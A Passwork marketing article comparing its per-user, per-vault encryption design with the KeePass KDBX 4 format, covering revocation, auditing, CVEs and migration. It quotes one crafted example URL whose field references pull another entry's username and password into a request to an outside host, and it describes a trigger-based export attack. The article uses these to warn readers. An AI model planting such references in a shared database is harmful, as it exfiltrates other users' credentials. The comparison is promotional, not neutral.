Passwork vs KeePass: how encryption architecture differs

KeePass has better cryptographic primitives than plenty of password managers you can buy, and that's where this comparison starts. The KDBX 4 format supports a memory-hard key derivation function, authenticates its ciphertext before decrypting anything, and encrypts the whole database rather than just the password fields.

What KDBX does not have is key management for more than one person. There is one key, it belongs to a file rather than to a human, and it opens everything. Every multi-user property a team eventually needs — revoking one person's access, knowing who read a credential, bounding what a single leaked key exposes — has to be built outside the format, usually out of file system permissions and good intentions.

That is the real axis here, and it shows up in three moments: when two people save the shared database at once, when someone leaves the company, and when an auditor asks who opened a credential last quarter.

At a glance

KDBX encrypts one file with one composite master key. Passwork gives each vault its own AES-256 key, wrapped separately for each user with that user's RSA public key.
KeePass documents plainly that there are no per-group or per-entry access control lists. Access control is delegated to file system rights, outside the cryptography.
KeePass 2.x does detect and merge concurrent edits. A conflict is decided by last modification timestamp, not by permissions.
Revoking access to a KDBX file someone already copied is not possible. Changing the master key protects future saves, not existing copies.
On key derivation and ciphertext authentication, KeePass has the stronger answer, and this article says where.

What KDBX 4 actually does

A KDBX 4 file is encrypted with AES-256 in CBC mode with PKCS#7 padding, or with ChaCha20, per the format specification. The key comes from hashing the master key components into a 256-bit value, running that through a key derivation function, then hashing the result with a fresh per-save seed. Three derivation functions ship without plugins: AES-KDF, Argon2d and Argon2id.

Integrity is where KDBX 4 pulled ahead of its predecessor. The file stores a SHA-256 hash of the header, so corruption is detectable without the master key, then an HMAC-SHA-256 of the header, and the payload is split into 1 MB blocks that each carry their own HMAC. The specification calls this "an Encrypt-then-MAC scheme," meaning authenticity is verified before anything is decrypted. KDBX 3.1 hashed the plaintext instead, and the author's note on the change is worth quoting for its restraint:

Although the Encrypt-then-MAC scheme (KDBX 4) in general is considered to be more secure than a MAC-then-Encrypt scheme (KDBX 3.1), we do not believe that KDBX 3.1 files were insecure.

Two caveats matter for a team. KDBX 3.1 is still a native format in KeePassXC, so "KeePass means Argon2 and HMAC" holds only once someone has actually migrated the database, which is a manual step in the encryption settings. And the Argon2 memory parameter is bounded by the weakest device that opens the file: KeePass suggests half the RAM of your smallest device, and warns that on iOS a large memory parameter can break AutoFill, recommending 64 MB or less there. A KDF is only as strong as the parameters your phone survives.

The scope of encryption is genuinely better than several hosted competitors: "KeePass encrypts the whole database, i.e. not only your passwords, but also your user names, URLs, notes, etc." A stolen KDBX leaks nothing about its contents, not even entry titles.

One thing looks like a second layer but is not. KDBX also applies Salsa20 or ChaCha20 to protected fields inside the XML, and the specification heads off the misreading directly:

We emphasize that the only purpose of the inner encryption is to support the process memory protection. The inner encryption has no effect on the cryptographic security of the KDBX file format.

Its key lives in the inner header and does not depend on the master key.

Where the key lives, and why that decides everything else

The KeePass master key is composite: a master password, a key file, and a key tied to the current Windows account through DPAPI, in any combination. All chosen components are required, and the Master Key documentation is blunt about it:

If you forget/lose any of the master key components (or forget the composition), all data stored in the database is lost. There is no backdoor and no universal key that can open your database.

Notice what those components share. A password is knowledge, a key file is possession, a DPAPI key is a machine account. None is an identity the database recognizes and can later distinguish from another. The key is a property of the file.

Passwork starts from the person, using the same zero-knowledge architecture principle (the server never handles anything but ciphertext) built around individual identity rather than a single file secret. Each user has their own RSA key pair generated client-side, with the private half encrypted under a key derived from their master password. A vault gets its own AES-256 key at creation, and every user with access holds a separate copy of that vault key, wrapped with their own public key (key hierarchy). The server only ever handles ciphertext (cryptography overview).

Sharing follows from that shape. Granting access re-wraps the vault key for the recipient's public key rather than re-encrypting data (sharing mechanics). Revoking it deletes that person's wrapped copy. Everyone else continues on the same vault key, and nothing is re-encrypted.

	KeePass (KDBX)	Passwork
What the key protects	The whole file	One vault
What the key is tied to	The file itself, not a person	Each user's identity (RSA key pair)
Who can open it	Anyone holding the composite master key	Each user, via their own wrapped copy of the vault key
Adding or removing someone	Share, or stop sharing, the master key itself	Wrap, or delete, that person's copy of the vault key

Where KeePass's cryptography is stronger for a single user

Key derivation is where it shows. Argon2 is memory-hard, which is exactly the property that makes GPU and ASIC cracking expensive, and KeePass explains why it prefers Argon2d in this setting: "a better protection against a really existing threat (password cracking using GPUs/ASICs is state of the art) is more important than a protection against certain side-channel attacks that may or may not become a problem on client devices in the future." Passwork derives the master key with PBKDF2 at 300,000 iterations over SHA-256 — a defensible, NIST-recognized setting, but not memory-hard, and against dedicated cracking hardware that distinction matters.

That doesn't change the conclusion for a team sharing credentials across more than one person: that comes down to key management, not cipher strength, and it's the question the rest of this comparison focuses on. For a single user with one laptop and one file, sharing nothing with anyone, that's the property that matters most against offline cracking attempts.

What happens when a team shares the file

Here the design goal shows. KeePass documentation on multiple users does not hedge:

All users use the same master password and/or key file to open the database. There are no per-group or per-entry access control lists (ACLs). In order to restrict write access to the database file (i.e. only a select set of users may change the stored data), use file system access rights.

Access control exists, but it lives in NTFS or your SMB share, not in the product and not in the cryptography. Read access is all-or-nothing by construction, because reading requires the one key that decrypts everything.

KeePass 2.x does detect conflicts. On Save it "first checks whether the file on disk has been modified since it was loaded," and if so offers to synchronize instead of overwriting. Merging happens at entry level, and the losing version of a conflicting entry is kept in that entry's history rather than discarded.

Conflicts resolve by comparing last modification timestamps, so the arbiter is each user's system clock rather than any notion of authority. The prompt fires only on Save: "the synchronize prompt is only triggered by the 'Save' command, not by the 'Save As' command. When executing the 'Save As' command and manually selecting a file, this file will always be overwritten." History entries survive a merge but "may be deleted by the automatic history maintenance," which is size-based. And KeePass 1.x has no synchronization at all, so a save there really does overwrite what changed underneath you.

KeePassXC differs in a way that matters if it is your client. It has a merge function in the GUI and as keepassxc-cli merge, comparing entries by UUID and modification time. But it has no built-in cloud synchronization on purpose, and the FAQ gives the reasoning: put the database in a shared cloud folder and let the sync service handle it, which "keeps the complexity of our code low." Defensible engineering, with a specific operational consequence. Dropbox, Nextcloud and OneDrive know nothing about KDBX, so simultaneous edits produce conflict copies of the file, and reconciling them is a manual merge somebody has to remember to run.

KeePass's own recommended pattern for shared files is a trigger: keep a local copy and synchronize with the master file, a scheme its documentation describes as preventing "data loss when database files are overwritten by other applications (e.g. cloud storage service software)." It works. It also means your access model now depends on a trigger stored in a configuration file that, as the Triggers page notes, is unencrypted and "applies to all users who use this KeePass installation."

Taking access back

Ask this first in any evaluation. A file-based model has no good answer to it, and the answer it does have tends to surprise people.

A departing employee had the master key. They may also have a copy of the KDBX on a laptop, in a backup, in a sync folder, or in a conflict copy nobody cleaned up. Changing the master key re-encrypts the database going forward and does nothing to copies that already exist. Those stay decryptable with the key they were saved under, indefinitely. Entry history compounds it: rotating a password inside the database keeps the previous value in that entry's history, so a stale copy carries both the old secret and the new one.

The only real revocation is rotating every credential that person could reach, which in a single-file model means all of them. The work scales with the size of your database rather than the scope of that person's job.

In Passwork the same event is bounded. Removing the user's access deletes their wrapped copy of the vault key, and remaining members continue on the unchanged key. Rotation after offboarding is still the right control for anything they actually read, and no product can un-leak a credential someone memorized. What differs is that the blast radius is a vault rather than everything, and revocation is one operation rather than a project.

Where Passwork's LDAP/Active Directory integration is configured, that operation doesn't have to be manual at all: disabling the account in AD revokes Passwork access automatically, in line with directory state, so offboarding in the directory is offboarding in the vault. And the security dashboard doesn't leave the aftermath to memory — it flags credentials still reachable by a user whose access was revoked as a compromise risk, turning what that person could reach into a visible worklist rather than something to reconstruct by hand.

Who read what

KeePass is a desktop application with no server component, a point its own notes make while dismissing a timing attack report: KeePass "does not feature any server capabilities (especially, no automatic database opening can be triggered externally)."

That has an audit consequence. KDBX records modification timestamps and entry history, which is a log of changes to the file, not a log of access. Nothing records that someone opened the database and read a credential, because the read happens entirely on the client. With one shared master key, even a change record cannot reliably tell you which human made it.

Passwork logs actions server-side and can forward them in CEF to syslog or the Windows event log for a SIEM (activity log, event list). Grants, changes and revocations are recorded individually and attributed to an account.

Trusting a file that everyone edits

The sharpest argument against the shared-database pattern comes from KeePass's own documentation.

KeePass supports placeholders inside entries. {CMD:...} runs a command line, and field references can pull data from other entries, so a crafted URL can exfiltrate a different credential. The Security page gives the example itself: https://example.com/?u={REF:U@T:Facebook}&p={REF:P@T:Facebook}. The guidance that follows is unambiguous:

When opening a database that has been created/modified by someone else, you should carefully check all data that you want to use. If you do not fully trust the creator of the database, do not open any files attached to entries.

Read that against a shared-drive deployment. A team database is by definition created and modified by other people, and everyone with write access can add entries the others will click. The trust model KeePass documents assumes a database has one owner who vouches for its contents, which is precisely what a shared team file is not.

Documented vulnerabilities

CVE-2023-32784 (CVSS 7.5) allowed recovering the cleartext master password from a memory dump in KeePass 2.x before 2.54, including from a swap or hibernation file and even after the process exited, with only the first character unrecoverable. The cause was a custom text box leaving per-character remnants in .NET memory. It was fixed in 2.54, and the researcher credited a fast response.

CVE-2023-24055 (CVSS 5.5) is tagged disputed by MITRE. An attacker with write access to the XML configuration file could add an export trigger and harvest cleartext passwords. The NVD entry records the vendor's position: "the password database is not intended to be secure against an attacker who has that level of access to the local PC." That position is consistent, and the Security Issues page argues it generally: someone who can write your configuration file can usually replace the executable instead.

For balance, KeePassXC has had an external audit, completed January 2023, and says openly that an audit "is valid only for a 'snapshot' of the code."

Comparison table

Aspect	Passwork	KeePass (KDBX 4)
Crypto boundary	Each vault has its own key	The whole file, one key
Root key	Per-vault AES-256 key, wrapped per user with RSA	One composite master key: password, key file, DPAPI
User identity in the crypto	Per-user RSA key pair	None; the key belongs to the file
Access control	Application ACLs at vault, folder, and individual-record level	"No per-group or per-entry ACLs"; file system rights
Granting access	Re-wrap the vault key for the recipient's public key	Hand over the file and the master key
Revoking access	Delete that user's wrapped vault key	Not possible for existing copies; rotate everything
Key derivation	PBKDF2, 300,000 iterations, SHA-256	Argon2d / Argon2id (memory-hard) or AES-KDF
Cipher	AES-256	AES-256 or ChaCha20
Metadata protection	Password, custom fields, TOTP and attachments client-encrypted; record/vault names, logins, URLs and tags server-side only	Whole database, including titles, URLs and notes
Access audit	Server-side log, CEF to syslog or SIEM	No server component, so no access log
Concurrent editing	Server-mediated, no file conflicts	Entry-level merge, winner by last-modified timestamp
Recovery	Vault-type recovery accounts (master password stored offline); no mandatory single key	None by design: "no backdoor and no universal key"

Migrating, and what to watch during it

Passwork imports KeePass XML, alongside JSON and CSV. It does not read the encrypted KDBX binary, and parsing happens in the client rather than on the server, which is the only arrangement consistent with the server never seeing plaintext.

The consequence deserves stating rather than glossing. Exporting from KeePass to XML produces an unencrypted file containing every credential, and it sits on disk for as long as the migration takes. Do it on a machine you control, on local storage rather than a synced folder, and delete it with a tool that overwrites rather than unlinks. It is the one step in a migration where a careless afternoon undoes both products' cryptography at once.

When KeePass is the right answer

If you are specifically weighing whether KeePass is enough for a small team, Password and access management for SMBs: Is KeePass enough? covers that question directly. This article stays narrower, on the encryption-architecture axis alone, for teams of any size.

If you are one person, or two people who genuinely share everything anyway, KeePass with a KDBX 4 database and sensible Argon2 parameters is an excellent choice, and it is free. The cryptography is strong, the format is publicly documented, and with no server there is no service to breach.

The model stops fitting when you need answers a file cannot give. Who has access to this, specifically. What exactly got lost when that laptop went missing. What breaks when this person leaves on Friday. Prove the contractor never saw production credentials.

A useful test before deciding: count how many people hold the master key to your shared database today, then ask what you would have to rotate if any one of them left tomorrow. If the answer is "everything," that is not a configuration problem you can tune away. It is the file model working as designed. The key hierarchy reference shows what the alternative boundary looks like.

A file has one key for everyone. A vault has one key per vault, wrapped per person. That gap does not shrink as a team grows; it compounds. If KeePass is not the only alternative on your shortlist, the comparison of Passwork's and Bitwarden's vault encryption architecture walks through the same three moments (concurrent saves, offboarding, audit) for a cloud-native competitor instead of a file format.

Run the master-key test on your own team, then see the alternative. Start a free trial of Passwork.

Frequently asked questions

Can I give one person access to only some entries in a KDBX file?

Not cryptographically. KeePass documents that there are no per-group or per-entry access control lists, and reading any entry requires the master key that decrypts the whole database. Restricting write access is possible through file system permissions.

Does KeePass overwrite other people's changes on a shared drive?

KeePass 2.x does not. It checks whether the file changed on disk before saving, offers to synchronize, merges at entry level and keeps the losing version in entry history. Conflicts resolve by last modification time. KeePass 1.x has no synchronization and does overwrite.

What happens when an employee who had the KDBX file leaves?

Any copy they already hold stays decryptable with the master key it was saved under. Changing the master key affects only future saves. Practically, revocation means rotating every credential in the database, and entry history in old copies still holds previous values.

Can I tell who viewed a credential in KeePass?

No. There is no server component and therefore no access log, and a shared master key means changes cannot be attributed to an individual either. KDBX timestamps and entry history record modifications, not reads.

Which is better for a team, KeePass or KeePassXC?

Neither is built for team key management, but they fail differently. KeePassXC drops plugins and triggers deliberately, calling plugins "inherently dangerous," and has no built-in cloud sync, so conflict resolution falls to your sync provider. KeePass 2.x keeps triggers, which is how its documentation recommends automating shared-file synchronization, at the cost of a trigger in an unencrypted configuration file that applies to every user of that installation.